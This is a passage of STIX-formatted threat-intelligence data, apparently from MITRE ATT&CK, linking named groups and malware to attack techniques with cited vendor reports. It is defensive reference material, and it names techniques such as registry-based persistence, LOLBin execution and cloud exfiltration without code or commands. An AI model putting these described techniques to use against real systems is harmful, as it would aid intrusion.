            "created": "2021-04-19T17:50:00.119Z"
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Microsoft HAFNIUM March 2020",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has downloaded malware and tools--including Nishang and PowerCat--onto a compromised host.(Citation: Microsoft HAFNIUM March 2020) ",
            "relationship_type": "uses",
            "id": "relationship--05ff481d-299f-4b72-9210-f07e7c5bf938",
            "type": "relationship",
            "modified": "2021-04-19T17:50:00.143Z",
            "created": "2021-04-19T17:50:00.143Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4",
            "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "external_references": [
                {
                    "source_name": "Anomali MUSTANG PANDA October 2019",
                    "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."
                }
            ],
            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used <code>InstallUtil.exe</code> to execute a malicious Beacon stager.(Citation: Anomali MUSTANG PANDA October 2019)",
            "relationship_type": "uses",
            "id": "relationship--42440c0c-f28b-4c42-94af-dc4cad6a8dd7",
            "type": "relationship",
            "modified": "2021-04-19T17:58:47.612Z",
            "created": "2021-04-19T17:58:47.612Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "external_references": [
                {
                    "source_name": "Avira Mustang Panda January 2020",
                    "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong",
                    "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."
                }
            ],
            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has encrypted documents with RC4 prior to exfiltration.(Citation: Avira Mustang Panda January 2020)",
            "relationship_type": "uses",
            "id": "relationship--7687477f-ea5e-4a3f-806d-e561f5c8adb4",
            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Blackberry Bahamut",
                    "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf",
                    "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has created LNK files in the Startup folder to establish persistence.(Citation: Blackberry Bahamut)",
            "relationship_type": "uses",
            "id": "relationship--6aeeb7e4-fc09-40a6-b071-c04df0f92928",
            "type": "relationship",
            "modified": "2021-04-19T19:24:55.384Z",
            "created": "2021-04-19T19:24:55.384Z"
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            ],
            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "external_references": [
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used <code>rundll32</code> to load malicious DLLs.(Citation: Volexity Exchange Marauder March 2021)",
            "relationship_type": "uses",
            "id": "relationship--94a67c86-e7f6-4874-b41f-83a3bfc35be3",
            "type": "relationship",
            "modified": "2021-04-19T20:13:44.480Z",
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        },
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            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--d7af8f20-9581-4b41-a591-118842f8ba6e",
            "type": "relationship",
            "modified": "2021-04-19T21:59:12.700Z",
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            ],
            "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
            "description": "[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--088cbe38-25e2-42a0-b65e-252bb1865d18",
            "type": "relationship",
            "modified": "2021-04-19T22:06:49.161Z",
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            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
            "external_references": [
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.(Citation: Gallagher 2015)",
            "relationship_type": "uses",
            "id": "relationship--7acc1226-d784-448e-8aeb-7f58e343c4da",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
            "external_references": [
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.(Citation: Volexity Ocean Lotus November 2020)",
            "relationship_type": "uses",
            "id": "relationship--6c4a3ef5-8aee-4fe8-b2c6-386f90c057a4",
            "type": "relationship",
            "modified": "2021-04-20T02:54:12.394Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "target_ref": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
            "external_references": [
                {
                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. [Silent Librarian](https://attack.mitre.org/groups/G0122) has also made use of a variety of URL shorteners for these staged websites.(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)",
            "relationship_type": "uses",
            "id": "relationship--9038cd4b-182b-469f-ac45-83dedf5110c9",
            "type": "relationship",
            "modified": "2021-04-20T03:14:15.249Z",
            "created": "2021-04-20T03:06:40.236Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e",
            "external_references": [
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.(Citation: Volexity Ocean Lotus November 2020)",
            "relationship_type": "uses",
            "id": "relationship--9ed7e90a-8034-48eb-8444-9ec29941a7b8",
            "type": "relationship",
            "modified": "2021-04-20T03:36:35.464Z",
            "created": "2021-04-20T03:36:35.464Z"
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to delete files after they are deployed on a compromised host.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--58a1976b-122d-41df-ae40-b66826ad8f4f",
            "type": "relationship",
            "modified": "2021-04-20T12:38:47.958Z",
            "created": "2021-04-20T12:38:47.958Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to drop encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--38cf696a-f98d-4b32-a9f1-0183bd78b6d2",
            "type": "relationship",
            "modified": "2021-04-20T12:38:47.951Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to turn off the <code>RequireSigned</code> feature which ensures only signed DLLs can be run on Windows.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--16ee08e8-a66a-4022-a322-148eeaf71771",
            "type": "relationship",
            "modified": "2021-04-23T02:08:56.353Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to set <code>LoadAppInit_DLLs</code> in the Registry key <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> in order to establish persistence.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--19785182-3304-4954-9545-30560d159ae2",
            "type": "relationship",
            "modified": "2021-04-20T12:38:48.145Z",
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        },
        {
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to decrypt encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--089eeb46-323e-410b-a27b-dc5ff4467c40",
            "type": "relationship",
            "modified": "2021-04-20T12:38:48.122Z",
            "created": "2021-04-20T12:38:48.122Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a run key named <code>Dropbox Update Setup</code> to mask a persistence mechanism for a malicious binary.(Citation: Zscaler APT31 Covid-19 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--baefaf38-da2d-4864-9c96-3bf2352bc20b",
            "type": "relationship",
            "modified": "2021-04-20T21:00:45.176Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b",
            "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
            "external_references": [
                {
                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated stolen data to Dropbox.(Citation: Zscaler APT31 Covid-19 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--a9fedca4-fd68-4e3f-a564-cb9c168a8e4e",
            "type": "relationship",
            "modified": "2021-04-20T13:11:26.237Z",
            "created": "2021-04-20T13:11:26.237Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to enumerate proxy settings in the target environment.(Citation: Zscaler APT31 Covid-19 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--efb06e50-f3ac-4149-927b-d97505a4f551",
            "type": "relationship",
            "modified": "2021-04-20T13:51:15.340Z",
            "created": "2021-04-20T13:51:15.340Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "Unit 42 NETWIRE April 2020",
                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[GuLoader](https://attack.mitre.org/software/S0561) has relied upon users clicking on links to malicious documents.(Citation: Unit 42 NETWIRE April 2020)",
            "relationship_type": "uses",
            "id": "relationship--ba79589f-f4e2-497b-b25b-a6a0abf3eedd",
            "type": "relationship",
            "modified": "2021-04-20T21:06:09.187Z",
            "created": "2021-04-20T16:08:50.635Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) executes commands using VBScript.(Citation: MSTIC NOBELIUM Mar 2021)\t",
            "relationship_type": "uses",
            "id": "relationship--aa26d89c-7c7d-449a-a26a-caa37573698e",
            "type": "relationship",
            "modified": "2021-04-20T16:56:17.499Z",
            "created": "2021-04-20T16:56:17.499Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "target_ref": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has staged tools, including [gsecdump](https://attack.mitre.org/software/S0008) and WCE, on previously compromised websites.(Citation: Dell TG-3390)",
            "relationship_type": "uses",
            "id": "relationship--f2e028ed-49e0-41ec-8400-8f8dc1ae6435",
            "type": "relationship",
            "modified": "2021-04-20T19:17:12.825Z",
            "created": "2021-04-20T19:17:12.825Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) has used byte randomization to obscure its behavior.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--36855997-d730-48c6-bd43-7896c741cd6e",
            "type": "relationship",
            "modified": "2021-04-20T19:17:57.991Z",
            "created": "2021-04-20T19:17:57.991Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) has the ability to determine local time on a compromised host.(Citation: Unit42 BendyBear Feb 2021) ",
            "relationship_type": "uses",
            "id": "relationship--c8a023b1-b472-40fc-98be-5709180e2628",
            "type": "relationship",
            "modified": "2021-04-20T19:17:58.007Z",
            "created": "2021-04-20T19:17:58.007Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83",
            "external_references": [
                {
                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "url": "https://www.clearskysec.com/fox-kitten/",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."
                },
                {
                    "source_name": "Check Point Pay2Key November 2020",
                    "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/",
                    "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."
                }
            ],
            "description": "(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)",
            "relationship_type": "uses",
            "id": "relationship--a391b999-a7f9-439d-bed5-0a0a13bb6f7d",
            "type": "relationship",
            "modified": "2021-04-20T20:05:51.766Z",
            "created": "2021-04-20T20:05:51.766Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) has queried the registry for proxy server information.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--03070395-3b76-4351-a3bd-0d9eaaa6652c",
            "type": "relationship",
            "modified": "2021-04-20T22:28:08.225Z",
            "created": "2021-04-20T22:28:08.225Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[Sibot](https://attack.mitre.org/software/S0589) will delete an associated registry key if a certain server response is received.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--82a76990-23aa-4955-9279-903d25b5cea5",
            "type": "relationship",
            "modified": "2021-04-20T22:28:08.241Z",
            "created": "2021-04-20T22:28:08.241Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) has used a custom RC4 and XOR encrypted protocol over port 443 for C2.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--730a735c-1008-490e-b0c8-6938b858b28a",
            "type": "relationship",
            "modified": "2021-04-21T15:02:21.244Z",
            "created": "2021-04-21T13:20:13.561Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "external_references": [
                {
                    "source_name": "Unit42 SUPERNOVA Dec 2020",
                    "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/",
                    "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."
                },
                {
                    "source_name": "Guidepoint SUPERNOVA Dec 2020",
                    "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/",
                    "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."
                },
                {
                    "source_name": "CISA Supernova Jan 2021",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a",
                    "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021."
                }
            ],
            "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) is a Web shell.(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: CISA Supernova Jan 2021)",
